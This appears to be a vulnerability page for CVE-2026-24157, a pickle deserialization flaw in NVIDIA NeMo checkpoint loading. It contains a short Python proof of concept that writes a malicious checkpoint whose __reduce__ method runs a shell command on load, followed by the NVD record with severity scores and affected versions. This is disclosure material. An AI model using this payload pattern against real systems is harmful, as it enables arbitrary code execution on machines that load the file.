CVE-2026-24157

import pickle import os # Define a malicious payload class class ExploitPayload: def __reduce__(self): # Command to execute (e.g., creating a file as proof of concept) return (os.system, ('touch /tmp/nemo_pwned.txt',)) # Serialize the payload to a file simulating a checkpoint with open('malicious_nemo_checkpoint.pt', 'wb') as f: pickle.dump(ExploitPayload(), f) print("Malicious checkpoint generated: malicious_nemo_checkpoint.pt") print("When loaded by the vulnerable NeMo Framework, this will execute the system command.")

{"cve": {"id": "CVE-2026-24157", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:27.823", "lastModified": "2026-03-31T01:29:58.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo Framework contains a vulnerability in checkpoint loading where an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure and data tampering."}, {"lang": "es", "value": "NVIDIA NeMo Framework contiene una vulnerabilidad en la carga de puntos de control donde un atacante podría causar ejecución remota de código. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, escalada de privilegios, revelación de información y manipulación de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.2", "matchCriteriaId": "6A84F776-6444-4FF9-AE88-EC0B4045B9A9"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24157", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5800", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24157", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}